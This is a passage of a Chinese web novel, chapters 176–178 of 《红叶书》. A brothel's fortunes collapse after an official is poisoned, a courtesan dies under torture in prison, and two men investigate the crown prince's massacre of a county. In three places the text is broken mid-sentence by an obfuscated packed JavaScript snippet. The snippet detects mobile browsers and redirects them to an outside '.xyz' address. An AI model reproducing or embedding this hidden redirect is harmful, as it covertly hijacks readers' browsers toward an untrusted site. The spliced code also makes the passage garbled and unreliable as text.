;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839910|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极小的可能才是被人杀了。 按大多数文官爬到高位的年纪来讲,老了还要上青楼喝花酒,最有可能的是纵欲过度,姑娘们毫不介意以猥琐的方向揣测那些男人们。 她们很少对往后顾虑,担忧往后的人是金絮。金絮派出了好几个丫鬟去外面打听事态,梁风也留心着朝廷那边的动静。 到第二日,坊间谈论的风向转变,变成了长史大人是被初香坊的女子杀死的。 “放他娘的狗屁!” 骂声在前馆回荡。火蓉忿忿不平,“初香坊的女人杀的?哪个猪头信这种鬼话!” 丽姬也嗤之以鼻,“没出事,女人就是个让他们快活的东西,没一点能耐。如今出了事,女人就能耐了,连人都敢杀了,把罪魁祸首往女人头上赖,在床上的时候可没见这些男人怕了女人了。” “就是就是。” 水夭也猜测:“风向转得这么快,说不准是背后有人操控。” “我觉得是。”凝荷道:“我听说,初香坊的姐姐们最近都不敢出门了,那天晚上她们被吓坏了。” 纯冬拍拍胸口,惊魂甫定,“这事情要是发生在温柔馆,我肯定被吓死了。” 梁风能联系上相府派出查案的人,能从外围知道一些内部情况。 相府仵作验出长史大人是中毒身亡,不是纵欲过度。调查之下,初香坊没有过购毒记录,长史大人或恐是在别地服毒,到了初香坊才毒发身亡。 但这发现没有公开,坊间流传的仍是长史大人被初香坊女子刺杀的说法。 情况急转直下,相府长史死后第五日,廷尉发出通告,禁止官员在这段时日流连青楼。 通告一出,温柔馆生意立刻变差了,来客只剩出通告前的六成。过一日,只剩三成。 金絮愈发忧心,梁风愈发相信有人在背后操控舆论,保证案件谈论范围只辐射在各大青楼之间。 姑娘们也焦急了,每日聚集在前馆讨论新事态。金絮吩咐大厢,从各方面节约馆内开销,客少的话二层以上的蜡烛不点了。 “已经这么做了,馆里新一批药材我没有让购置。”大厢道。 姑娘们都聚在前馆,等待从外面回来的丫鬟带来新消息。 纯冬感叹:“这个说法我懂,叫做城门失火,殃及池鱼。我认的几个字有用了。” 凝荷也像模像样地跟着感叹:“总是这样啊,他们大人物动动手指,我们小人物就翻身覆灭了。” “真是人算不如天算。” “天算?杀了相府长史的也是人吧。”丽姬不认同。 “以后要怎么办呢。”有人问。 “温柔馆会解散吗?我们出去之后要怎么办啊?”有人问。 “还能怎么办,能不能办人不都有要死的一天,阎王爷这是催促了。”有人答。 金絮坐在旁边,听见这话,屈膝靠墙沉默坐着,看着她们每一个人。 水夭靠着窗户,看外面的天空,捧着脸道:“不知道我死的时候有没有人为我轻轻叹气。” 凝荷凑到水夭面前,皱眉垮脸,认真地,“唉。” 水夭敲了凝荷一脑壳,“我还没死呢。” 金絮低头看着手指,手指在衣服上搓来搓去。梁风很担心金絮的状态,这几天在她身边寸步不离。短短几日,温柔馆火热的生意已经能被叫做“曾经”了。 他小声道:“青楼行当不好做了,温柔馆还要继续开下去吗?” 她答:“看情况吧,要是真的做不下去了,也没得我选。” “你不要怕,兵来将挡水来土掩,我会帮你的。” 梁风再小声问:“如果凝荷她们的户籍能处理好,你是不是就放弃温柔馆了?” “啊?”凝荷敏锐地听见自己的名字被叫了。 金絮不答话了,梁风却从她的神情里看出个“嗯”字。 “那好。”他可以想办法。 金絮看了看他,道:“在自己拥有权势的时候,权势就不是一个坏东西了。” 固然不喜,但梁风认可。 “权势这个东西,拥有的时候还真挺好用的。” 176. 《红叶书》(九六) 温柔馆的气氛有些消极,梁风希望金絮和姑娘们都能振作起来。 振作需要看见曙光。他给皇帝写折子,对于最近这起长史遇刺身亡案,提出朝廷能够控制舆论氛围,一家青楼的事不要波及到别家青楼,行当内的各家看似是一体,其实内在也是分开的。 他如今是把青楼当家的人了,为各大青楼说句话无可厚非。 梁风把折子交上去,却没有立即得到皇帝的回复。 他继续保持对这起案子进度的关注。相府想尽一切办法追查投毒之人下落,逝去长史的家属闹到了相府,想讨个公道。 相府查案过程中有安抚家属,但家属仍出现喊门行为,梁风略略一探,发现家属喊门行为背后有三皇子指使的身影存在。 与棣似乎十分希望这案子的调查速度加快,梁风留了个心眼。 在他把折子交上去的十日后,朝廷忽然放出要增税的消息。 朝廷以文官太过耽溺美色容易误事为由,整顿风月场所,增收销金窟税目。新税目是按这些场所内置多少厢房增收房税,一间厢房每半年要额外多交五百钱。 新税目还未落实,皇帝放出消息待看朝臣反应。 梁风算了一下,温柔馆厢房偏多,按新税目增收,温柔馆相当于每年多交了四成税。 这也太多了,以她目前的生意怎么可能负担得起。梁风立即写折子反对。 ——也不是反对,就是觉得不好,提提意见。他不是朝官,没有反对的资格。 新税目的消息传到温柔馆,金絮呆了一瞬。 “你先不要呆。” 梁风敲敲她的脑袋,“新税目在落实前都是有待商榷的事情,不一定真的会涨。” 她摇头,“朝廷里有人反对才不会涨,国库白得税钱,不可能有人反对。” “有我啊。” “你一个人声音太小,而且你又不是朝廷的人。” 仿佛一支箭扎进他的心里,梁风垂手无辜地问:“你是想说我很无用?” “不是。我是想说,朝廷大势之下,每一个人都是无用的。” “才怪。”梁风道,他还想给她曙光来着。 金絮沉默了。梁风捏她的手,与她贴贴心,“你不要担心,任何事情都有我帮你。” 金絮无言,默默看他,也没抽手。 “贾老板想买下温柔馆。”她收回视线说。 “谁?谁啊?”梁风瞪眼,他还没出手呢。 “贾镇。” “贾镇?”梁风知道这人,温柔馆一个大主顾。 不太对劲,朝廷要给风月场所增税的情况下,哪个没眼力的商人还会买青楼。 “我查查这个贾镇。” “不用,我查过了。”金絮拦下他,“贾镇没有问题,做事非常干净,背后一定有人。” 梁风还是决定查一下。他分出暗卫,找大司农调查京城这几年行商的往来记录。 结果是,所有能找到和贾镇有关记录全都正常。行商贾镇无论走到哪里,一律老实交税、老实报关、老实办置所需路引文书,找不出一点错处。 梁风只好作罢,也许更深入查能够发现问题,但他权限不够。 在他调查贾镇的时候,有三个初香坊的姑娘找上金絮,寻求帮助。 金絮为她们治了伤,给了点钱,但没有收留她们。 温柔馆门厅凋敝之时,冯棹台重新出现在了温柔馆。梁风看着冯棹台和雪姬又卿卿我我起来。 三伏天到了。 七月十三,入伏这天,初香坊结案。案子的结果是初香坊抄没,坊主与一众涉案姑娘判死刑。 下毒的人据说是初香坊主。相府找到了毒物来源,是个外地走私的小贩,将毒物藏在了一盒胭脂里,卖给了初香坊主。至于初香坊主毒杀长史的原因,梁风不得而知。 结案的同时,朝廷下旨三条限令。 第一条是禁止京内所有官员出入风月场所。 第二条是所有勾栏瓦舍每年增加一成税。自圣旨颁布第二年始增。 第三条是限制勾栏瓦舍每天开馆经营时辰。每日只有酉时初到亥时末的三个时辰可以开馆迎客。 看这三项内容,梁风深知温柔馆是真的负担不起那增加的四成税额了。 三条限令的通告传到温柔馆,金絮又呆住了。 梁风垂手被她呆呆地看住,心里很无力。 “我声音太小,确实帮不上你。”他查贾镇也没查出名堂。 她一叹,“我以为,如果有一天我放弃温柔馆,是因为我想结束经营,而不是因为倒闭。” 金絮坐在窗下,头靠窗棱,手举告示,眼里有无奈,有挣扎,也有豁然。 她苦苦一笑,“我从没想过我做生意会有失败的一天。” 梁风安慰:“这不是失败,是大势所趋而已。” 大势所趋和失败好像没有区别,失败的大势所趋,他的安慰和他一样无力。 梁风改为提建议:“那就在倒闭之前结束经营。” 金絮听了,眼珠子转向他,居然认同。 “对,就在倒闭之前结束经营。” “你有没有难过。”梁风勾勾她的手指。 “有一点。但我本也不会一辈子经营温柔馆的。” “我要回太南去了。”她笑,“我终于可以回去了。” “你要回太南去了?”梁风愣住。 “嗯。” 这一天没想到那么快。以前总想她能离开温柔馆,可真到这一天,还是希望她能留在京城陪他,可京城也不是她该留的地方。 金絮注视着他的反应,梁风看一看勾住的她的手指,看一看她,看一看告示,告示的内容很刺眼,根本不想多看。 “你要回太南去了。” “对。” 梁风勾住的手指用力一夹,“你要回太南去了。” 隔日,七月十四,梁风需要仔细捋一捋金絮离京后他该怎么办的严重问题。 他想送些东西给她,他有那只前朝羽殇做成的簪子。那只羽殇之前被金絮摔碎了,制成的簪子是两段拼接的,够粗,但不够长,他还想再送点别的。 送什么好呢。最好是她能经常带在身上,又不容易弄丢,还好看的东西。 想着想着,梁风想到那本遗失的《红叶书》。 他早前几个月就开始写了,还没写完,可以把这本新写成的旧书送给她。 或者不送也行。不给她,只告诉她这本书找回来了,让她心里念着,不然她都不会惦记着他,走远了都不知道要给他写信的。 梁风决定就这么办。 独自在南市各种首饰铺子里逛了一圈,没看见她可能会喜欢的胭脂水粉,梁风准备回温柔馆。 日头刚过巳时两刻,还没到正午,他忽然听见一道暗哨。 “主子。” 细如蚊吟的唤声响在耳边,梁风脱马飞身上旁边房子的屋顶,一名暗卫落在他身旁。 “太子那边有所动作。” “怎么了?”太子的动作有必要告诉他知道? “太子辰时进宫面圣,向皇帝揭露昨夜有一女子试图行刺三皇子殿下。” “有人行刺与棣?” “是。” 失败了吧。 “太子说刺杀似乎失败,女子逃走,三皇子受刺后卧床修养,伤得挺重,但未伤及要害。太子言护弟心切,已派人举刀前去捉拿该名女子。” 暗卫抬头道:“太子拿人的目标是雪姬姑娘。” 梁风一呆,“雪姬?!”他大吃一惊。 “是,太子此举是密报,面圣的同时捉拿的人已经去了温柔馆,这个时候恐怕雪姬已经被抓走了。” 梁风大惊,他刚好这个时候不在温柔馆,他往日整天待在温柔馆啥事情没有,偏偏离开的片刻就出事了。 这时又一个暗卫飞身落下,禀报道:“三皇子否认遭遇刺杀一事,说自己受的伤是误伤,那女子只是个风尘女子,是被叫来府里寻欢作乐的。皇帝亲自出宫,摆驾三皇子府。” 皇帝去看望与棣了。梁风先回温柔馆,确认金絮安危, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839911|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要走,后来的暗卫紧接着道:“主子,留守温柔馆的十三说廷尉的人抓走雪姬,馆里其他人无事。十三在馆脱不开身。” 听见她无事梁风就放心了,停住脚步,略一思索,抓雪姬的是廷尉的人,廷尉这是和太子联手了? 念头刚想完,第三个暗卫赶来了,向他道:“主子,冯棹台在找您。鸨母在馆中有应急之法,她正迁移姑娘暂住客栈。冯棹台找您有急事。” 梁风还是想先看看金絮,担心她心急上火,便道:“让冯棹台去温柔馆找我。” 他跳到马背上,赶去温柔馆,暗卫回到岗位继续监听事态。 刚离开南市,梁风看见远处屋脊之上有两个人影朝他的方向飞跃,他一细看,那两个人居然一个是他的暗卫,一个是冯棹台。 梁风再度飞上屋顶,暗卫带着冯棹台停在他面前。冯棹台不会武,飞得面色发白,衣衫头发凌乱。 “什么事情啊?” 冯棹台急急抓住他的手臂,“王爷,帮帮我。” “怎么了?” “还记得我和你说过我在查雪姬的家乡宁安县吗?我查到了一些痕迹,宁安县或许不是人口迁移,而是被屠了,屠县的人是太子。在太子和你同去西南剿匪那年,太子将宁安县屠尽。” 梁风一愣。 “我有证据可以证明是太子干的,但我现在来不及和你说,我必须救下雪姬。”雪姬被抓了,冯棹台很心急。 “我向陛下请旨由您来调查此案,您先去廷尉监狱外等着,等圣旨一到,您帮我将雪姬救下来。” 梁风没太反应过来,后知后觉意识到什么,他得想想这事情应下来会有什么后果。 “求求你。”冯棹台眼睛都红了,布满血丝,像有什么要撑爆眼珠炸出来。梁风还没见过冯棹台这幅样子。 “好。” 来不及多想,他应下了。 “多谢。”冯棹台感激得要落泪,“我这就去向圣上请旨。” 皇帝这时应还在去往三皇子府的路上,冯棹台要争分夺秒,最好能抢在皇帝到达三皇子府前拦下圣驾。 冯棹台走不快,带他来的暗卫需要再带他飞回去。梁风则去廷尉,去之前吩咐留他身边待命的暗卫去金絮那边守着,就怕她因为担心雪姬急于出头。 冯棹台出发,梁风弃马直接飞跃去往廷尉狱。 廷尉狱守卫森严,梁风尚能凭借脸面进去,却只能留在前厅喝茶。 “你们刚刚抓了个风尘女子是吗?本王来看看她。” 狱监对他很恭敬,“安分王殿下,探望牢犯需得圣上授意或是廷尉卿准许,属下已经向上通报请示,劳您稍等。” “无妨,那女子受刑没有,本王先看看她。” “属下已经向上通报请示,劳您稍等。” 狱监禁止他过多探听里面关押的牢犯。梁风只好等着。 他已经坐在这里,雪姬应当没有性命之忧。但在屋内无法接收暗卫送来的新消息,梁风等了一会便站到门外屋檐下。 午后,冯棹台的圣旨还没到,狱卒的通报也没有结果,梁风一直等着。 过了未时,冯棹台还没到。 他猜测冯棹台没能在皇帝到三皇子府前拦下。此时的皇帝和太子应当都在三皇子府,冯棹台请旨授命他调查此案恐怕遭到太子阻拦了。 他站在这里,也不知能不能护到里面关着的雪姬。他此前没接触过这种事情,想捋一捋,捋不清楚。急急忙忙地出事,安逸的一年多让他没太反应过来。 暗卫不断送来金絮的消息,她在馆中也很着急,四处打听情况,还没有太大动作。 过了申时,仍是不见冯棹台。 这时一批狱卒急匆匆路过,梁风看见领头的人拿着搜捕令,出外搜捕犯人。 他有不好预感,返回屋内,正好看见狱监拿着张纸说:“雪姬狱中指证是温柔馆鸨母以克扣月俸为要挟,命令雪姬刺杀三皇子,雪姬不得已听之,右监大人,这是口供。” 梁风一惊,意识到刚才出发的人正是去温柔馆捉拿鸨母的人。 177. 《红叶书》(九七) 梁风抢在廷尉搜捕的人之前,飞速赶往温柔馆。 只用了一刻钟就到了来福街,前馆门外站着丫鬟,梁风冲进去,金絮迎面而来。 “雪姬被抓了。”金絮着急地和他说。 “我知道。”梁风当先安抚她,“雪姬是涉案才被抓的,她在牢里说了一些对你不利的话,需要你去廷尉对证,廷尉的人马上就到。” 金絮手上发冷,明显紧张了,“她说了什么?” 这时廷尉的人突然闯入,金絮被吓了一跳。 这些人动作也不慢,他竟然只快了一步。梁风张开双臂抱住她,低声和她道:“你不要怕,雪姬做的一切和你无关,他们问你什么你都说不知道,等我去救你。” 廷尉左监出示搜捕令,扬言要抓走鸨母。 金絮点头,梁风松开她,看着她走过去伸出双手戴上镣铐。 廷尉把金絮带走了,馆里留下的姑娘议论纷纷,十分不安。梁风知道她会担心这些姑娘,留下一名暗卫保护温柔馆,自己则跟在金絮身后,随她一起去廷尉狱。 傍晚时分,夕阳渐沉,金絮被押着走,沿街行人不断侧目。她时不时回头不安地看他,梁风始终跟在她身后。 到了廷尉狱,狱卒盯着她更换衣着关入牢房,梁风被留在外面。 冯棹台还没来。 监听三皇子府的暗卫告诉梁风,冯棹台已取得皇帝授权旨意,但是太子不断拖住冯棹台,不让他和梁风会面。如果宁安县真的是被太子所屠,那么太子此刻拖延时间就是为了确保雪姬会死,太子和廷尉是联手了的。 梁风担心她们两人,每隔一会便问狱卒里面的情况,出言威胁。狱卒不为所动,只让他拿出授权旨意来。 梁风快要烦躁了,叫来此刻所有得空的暗卫,围着廷尉狱伺机。 “再等一刻钟,冯棹台要是还不来,我们就闯进去。” 他仿佛和金絮感同身受,她肯定受刑了,她很痛,她很难过。 下一刻,长街尽头终于出现飞跃而来的身影。 冯棹台携带圣旨,在暗卫帮助下跳跃于屋脊之上,极快地赶来。 梁风看清是冯棹台,高高地挥手呼应。 离得近了,冯棹台一抛手,圣旨沾着月光划过,梁风一掌接住。他抓着这黄色布帛,叫上暗卫,径直冲入深处的牢房。 烛火最亮的一间,审讯正在进行。久违的血腥气浓郁刺鼻,梁风一眼看见浑身鲜血湿透的金絮。 她披头散发,吊在受刑架下,脚边一片血,手腕都被绳子磨伤了。梁风气极,踹开碍事的狱卒,解开绳索,金絮直接倒入他的怀中。 “阿絮......”她的身体是热的,梁风稳稳接住她。 金絮似乎喊了声什么,双手尚能动弹,神经一松昏迷了。 梁风简单查看,她的伤都在后背,这是廷尉的鞭刑,有毒的。 梁风急于将她安置疗伤,一转身才看见对面还吊着另外一人。 这人浑身没个人形,破烂的衣裳只露出伤口,伤口沾着盐,头发都被拔掉几块,鲜红的头皮看不见有热气在冒,身上的血似乎流干了。 梁风全身近乎停了一瞬,恍惚意识到这人是雪姬。 尸体的样子他见得多,雪姬已经死了。 梁风避开伤口抱起金絮,冯棹台终于冲了进来。来晚了。 冯棹台冲到雪姬面前,拨开湿乱的头发,一张鲜妍的脸触之柔软,闭目仿佛睡着的模样。 梁风忽然担心冯棹台看不出雪姬已经死了。 “你......”他不知道说什么,不由自主抱紧金絮,害怕金絮变成雪姬这样。 冯棹台目眦欲裂,无法发声,颤抖的手指解开绳索。梁风听见冯棹台的喉咙里发出一种战后尸场才会出现的声音,他更加抱紧金絮,金絮是活的。 目前无法证明她无罪,不能送她离开廷尉狱,梁风找了间干净些的房间,先暂时安置她,让暗卫带李婶过来,廷尉的大夫他不放心,同时再叫暗卫去温柔馆取账本。 梁风回到牢房,雪姬躺在地上,冯棹台死死抱着她痛哭。雪姬的血沾到了冯棹台身上。梁风看着这一幕,有一瞬间仿佛回到了战场。 他定定心神,和狱卒道:“叫仵作来验尸。” 不管是廷尉还是军营,审讯施刑都有一套规章必须遵守,在一定时辰内对犯人所施刑量不得令其重伤,若伤势过重,则必须等待一两日,待其恢复部分元气后再行审讯。 圣旨授权已到,他已接旨,他现在是这起案子的主审人。雪姬这纯粹外伤致死,从她被抓来短短半天居然受此重刑,廷尉难逃此责,他有权审问廷尉卿。 雪姬的伤势必须留有证据,冯棹台再伤心,雪姬也必须先交给仵作检验。 梁风拍拍冯棹台的肩膀,冯棹台缓缓松开双手,目送雪姬平躺于仵作刀下。 “我一定要把宁安县查清楚。”冯棹台握紧沾着鲜血与盐粒的手掌。 冯棹台眼中燃烧着悔恨,梁风想到金絮,又想到中午冯棹台求他相助时的神情,心里涌起一股沮丧。 “好,我帮你。”他道。 等待仵作验尸结果的时候,李婶来了,梁风连忙安排李婶治疗金絮,总算稍微放了心。 夜深了,冯棹台缓和心情,梁风叫狱卒送来晚饭,当务之急是复盘这起案子。 “雪姬为什么会指控是阿絮要挟她刺杀三皇子?”梁风问。 “恐怕是太子授意的。” “太子?” “我告诉过她,屠杀宁安县的人或许是太子,她不相信。”冯棹台眼眶通红,脸上神情还很紧绷,“我相信她,她不相信我。” 梁风没听明白。 “她当然不信。我告诉她的时候,她已经在太子的指示下潜伏于三皇子身边近一年了,她要如何接受一个信任了将近一年的人才是她的仇人,她当然不愿意相信。是我来晚了。” 梁风怔住,感到面前出现一个巨大的黑洞。 冯棹台来晚了,他没有,梁风后知后觉意识到他曾和雪姬走投无路的绝望擦肩而过。雪姬向他求助过的,然而他无视了她的求助。 “宁安县被屠后,雪姬带了半块旗布上京复仇,那块旗布是太子当年剿匪的军旗,雪姬画给我看过。”冯棹台声音沙哑,眼中有泪,看着他道:“你有见过那块旗布吗?” 棋布?梁风茫然摇头,完全不记得了。 冯棹台收回视线,低下头道:“雪姬上京后,四处寻找那半块军旗的下落,举动太过惹眼,引起了太子注意。太子主动为她指路,告诉她,那旗布是三皇子的军旗,并安排雪姬潜入三皇子身边卧底,助她复仇。雪姬信了。” “后来我认识她,她和我说了她的事,把那军旗画给我看......”冯棹台停顿片刻,皱眉压下眼中痛苦,“我和她说,那旗子不是三皇子的。” 冯棹台心痛,手掌紧紧攥着胸口,出口的声音却压抑,“那半块旗布已经被她烧了,在她决心要对三皇子复仇的时候。” “我想帮她查清宁安县当年的真相,我找了长史大人相助。在隐约查到屠县的人可能是太子的时候,长史大人退缩了。” “收手便罢了......”冯棹台咬牙切齿,“简直是无妄之灾。” “太子杀了长史大人?”梁风猜测。 “不一定。在相府调查长史大人死因时,曾有家属找到相府讨公道,我查过,那些家属是受一女子怂恿,而那女子是林昭仪娘家的一个远房亲戚。” 冯棹台说完,慎重道:“长史大人的死因不好猜测。” 梁风听明白了,三皇子想凭借宁安县的事逼死太子。 冯棹台继续说:“长史大人的死估计引起了太子警觉,太子提前了雪姬的刺杀计划。然而雪姬失败了。 “太子意识到她刺杀失败,立即想杀她灭口,她被抓来才短短半天......她心里未必不信我,她不愿意杀死三皇子,或许在她眼里,三皇子是无辜的。” 梁风说不出话,不忍心听了,他不觉得三皇子是无辜的。 “我猜测,三皇子否认遭到雪姬刺杀,是因为雪姬是宁安县被屠的唯一人证,他要保下雪姬。” 冯棹台深呼吸,压下情绪,看向梁风道:“我向陛下请旨,将宁安县的案子交由您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839912|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调查,我来查的话容易被杀。您的权限不够,但您身份够高,太子会对您有所忌惮。” 梁风心想未必,亲缘在梁与丕那里不算什么东西。不过这件事交给他,他是愿意的,冯棹台不会武,再查下去下场只会和长史大人一样。 “这件事情非常丑陋,圣上不愿声张,只命您暗中调查,暗中向圣上汇报结果。您之前曾弹劾官府收受私贿,陛下以此派您调查京城官员贪腐一事作掩饰。肃贪是宁安县案子的遮掩,您也需要查出结果。 “由我主查宁安县,您来肃贪。我已经找到证据,就在大陀县,那些证据不能被太子发现,我要想办法送来京城。” 大陀县就是记载收并宁安县的邻近大县,梁风问:“什么证据?” “大陀县部分百姓的口供,可证实当年宁安县不曾并入大陀县,而是凭空消失。”冯棹台道:“那份口供是我和长史大人派人在大陀县秘密收集的,分两份,一册是黑本,一册是白本,黑本那册记录的是大陀县当地富商豪强否认曾有别县迁入大陀,然而被太子发现销毁了,剩下的白本还藏在大陀县。 “白本记录者一半是小孩,那些小孩有在宁安县要好的伙伴,他们的伙伴却在一夜之间消失,其中甚至有人见过宁安县被鲜血覆盖的场面,回去后大病一场。 “太子这几年为了保证大陀县不会将他的秘密泄露出去,肯定往大陀县调拨了不少钱财,这些钱财流动一定会留下痕迹。我们只需要把这些痕迹找出来。” 有皇帝授权,这些事情不会再有冯棹台和长史大人联手时那样难查了,梁风点头,“好,我帮你。” 饭菜已经凉了,梁风和冯棹台两三下吃完,商量好后续行动计划,再找个地方凑合一晚。 都不回家,冯棹台连夜等待仵作的验尸结果,梁风暂时不能将金絮转移出去,也留在廷尉狱过夜。 从牢房出去,梁风去看金絮,冯棹台留在牢房里。 月光照耀下来的一刻,夜空某处传来一下铁器相击的细微声响。 梁风警觉后退,下意识抽刀,抽了个空,腰上没刀。 后退的同时,利刃破空声再次出现,四面八方的暗器全都刺向他。梁风退回房内关门,听见外面的暗卫和刺客交上手了。 一年多的时日不动刀剑,温柔馆的花酒也麻痹了他的神经。 冯棹台闻声过来,和梁风对视一眼。 “太子不会忌惮我。”梁风道。 冯棹台默然。这显然是太子派人想要除掉他们。 外面交手声稍歇,梁风找了根木棍,打开门出去。 暗卫落下,“主子,清干净了。” 空气中不闻血腥气,梁风道:“下回活捉。” 他选两名暗卫在这段时日内保护冯棹台,冯棹台道了声多谢。 “案子没查清,我们不能死。” 冯棹台沉默片刻说:“宁安县调查结果我会交给相府,如果皇帝想保下太子,游大人会不顾一切阻拦。” 如果宁安县的事情被文官得知,太子恐怕永无翻身之日了。 月亮隐去,屋内烛光穿过冯棹台投射而出,拉长的影子模糊却坚不可摧。 梁风还有话想问:“雪姬......曾经后悔过复仇吗?” “不会。她这辈子,最不后悔的就是决定复仇的一刻。”冯棹台为雪姬回答得毫不犹豫。 “如果你早几年遇见雪姬,你会阻止她复仇吗?” “不会。我会指给她一条正确的路,让她亲手杀死她的仇人。一条安全且能达成她心愿的路。” 冯棹台的话语掷地有声。梁风想到金絮,说不出话来。 雪姬为复仇付出的代价太大了,冯棹台为查清宁安县的真相过程中牺牲的人太多了。可是宁安县的人也是无辜的,他们不能活该枉死。永远需要有人为无辜之人伸张正义,他不觉得雪姬的做法是错的。 金絮是不是厌恶他不愿意助她复仇,她如今还想要复仇吗? 可他也不觉得劝金絮不要复仇是错的,她没有付出雪姬那样大的代价。 金絮有没有想明白?他想不明白,他真是太蠢了。 178. 《红叶书》(九八) 梁风看着昏迷中的金絮,心情很沉重。 李婶针灸后,她吐了一回,刑鞭附带的毒物消解了一些。她暂时不会醒来,大约还要睡上一天。 后半夜,梁风拿到温柔馆账本,馆里的姑娘已经被金絮迁移住往别处,这账本能证明她一直有按时给姑娘们结月俸。 确认好金絮的情况,梁风回去找冯棹台。到了尸检房门外,听见仵作在汇报尸检结果。 雪姬躯干两面和双腿共受十一鞭,全身包括头骨遭受过钝击,后背有两块掌心大的铁器烫伤,头皮扯掉两成,全身外伤被细盐加重。 仵作说,这些伤全加起来都是不致命的,但雪姬身子不好,有喝药的习惯,身体素质不如寻常人,如果不及时治疗,过几日会因鞭刑而死。仵作猜测雪姬是被疼死的。 冯棹台像雪姬的家属一般接过写着验尸结果的纸张。 梁风在门外张了张嘴,想说什么,冯棹台这时却转过身来,望着他的眼睛底下有种恨极的无助。 他为雪姬感到心痛,全身伤不致命、身体素质不好......廷尉做事很周全,刑量是在规矩内的,凭这两点,他就无法对廷尉提出施刑过重的审问。 她的身体被药喝坏,喝的是那些治疗清洁病的药或是避子汤,又不是她的身体本来就坏。 冯棹台双眼通红,满含热泪,手掌用力得快把纸张掐烂。 梁风在敌人的盔甲下见过这样的愤怒,是打不赢这场仗,所有的子民与城池全都要拱手交给对方的后果。 梁风走进去,反手把门关了。 “这恐怕不对吧。”他走近,示意被一块厚重大白布罩了全身的雪姬,“本王刚才看这死者的伤势似乎没有这么浅,按她的出血量来看,如果只是十一道鞭和烫伤加上扯去皮肤,应当出不了这么多血。” 年轻的仵作想说什么,梁风抢先道:“鞭刑的轻重深浅在你的验尸结果中似乎未提及,死者身上几道鞭痕深可见骨,光是这几道鞭就足以致她于死地了,怎么会全身伤不致命?” 仵作疑惑,“十一道鞭刑并未有伤骨深......” 梁风抬手打断,“仵作大人有所不知,本王在战场上见过各式武器打出来的伤口,致命的或是不致命的都见过。”他示意雪姬身上几处道:“廷尉惯常使用的这种绳鞭极易在尸体身上留下障眼法,看起来鞭伤不及骨,但实际上是鞭子本身不挂皮肉,抽打之后深处肌肉快速合拢,才导致看起来鞭伤不深。若是换一种鞭子,用细铁链就不会有这种情况。” 仵作抬着头看他,听得很认真,道:“殿下,细铁链造成的抽打痕迹属下是见过的,铁链表面比绳子平整,沾了血液后易滑,抽人时容易失去力道,因此用铁链做鞭多是用粗铁链,保证一击即倒,属下很少听说战场上会有用细铁链做武器的情况。” 梁风不与她对视,垂眼看着雪姬的裹尸布。这仵作看起来年纪轻轻,没想到经验挺丰富。 仵作再道:“廷尉的刑鞭带有倒刺,每一次抽打都会连皮带肉一起刮下来,这具尸体的情况也是如此,殿下可放心,应当是不存在您说的此种障眼法的。” 连皮带肉刮下来......梁风心里一揪,刚才没能看一下金絮的伤势,刮层皮肉可不轻,而且还带毒,她的伤很重。廷尉对待犯人好狠的心! 梁风向冯棹台看去一眼,冯棹台沉默无言地回视他。 仵作皱了皱眉,“殿下若是不信,可亲自检查这具尸体的表征,她尚未完全僵化。” 仵作可能是和尸体打交道多了,失去了和活人打交道的圆滑。冯棹台一把抓住了她将要掀开裹尸布的手。 梁风忙道:“不必看了,应当是我看错了,鞭痕深浅没有问题。” 冯棹台开口道:“但是,受刑顺序是否存在有待商榷的地方,她是先受鞭刑再受钝击和烫伤,还是鞭刑是最后受的?” 仵作皱眉沉思,最后不肯定道:“尸体身上无论是烫伤、钝击还是鞭痕都属于新伤,间隔太短,难以从伤痕判断哪一道伤是先受,哪一道伤是后受。” 冯棹台指头一松,捏皱的纸张递到仵作面前,“你将你刚才这句话写进验尸结果里面。” 仵作犹豫起来。 梁风看看她,下命令道:“你写的前一份验尸内容不够严谨,本王已作废,天亮前将新的验尸结果写好给我。” 仵作也只好不犹豫了,应道:“是。” 除了尸体,也可以从刑器上下手。他和冯棹台闯进来救人的时候,分明看见钝器和烙铁沾上的血迹已经干涸,但是刑鞭的血迹却是新鲜的。 由此可见,廷尉审问嫌犯时,在初步施刑后,嫌犯招供出温柔馆鸨母为背后主使,且明显因体质不好表现出难以承受极刑的情况下,廷尉仍然再加鞭刑,导致嫌犯不堪重刑而死。 按理说犯人招供后就应停止用刑,而以往常廷尉审讯嫌犯的惯常手段看,廷尉并没有如此极端用刑的情况出现,这次恐怕不是例外,而是受人指使,需严查廷尉近几日往来的都是些什么达官显贵。 梁风和冯棹台悄悄商量好说辞,冯棹台的打算是案子不管如何调查发展,矛头指向都要集中到太子那边。 次日天一亮,一夜未睡的冯棹台上朝去了。 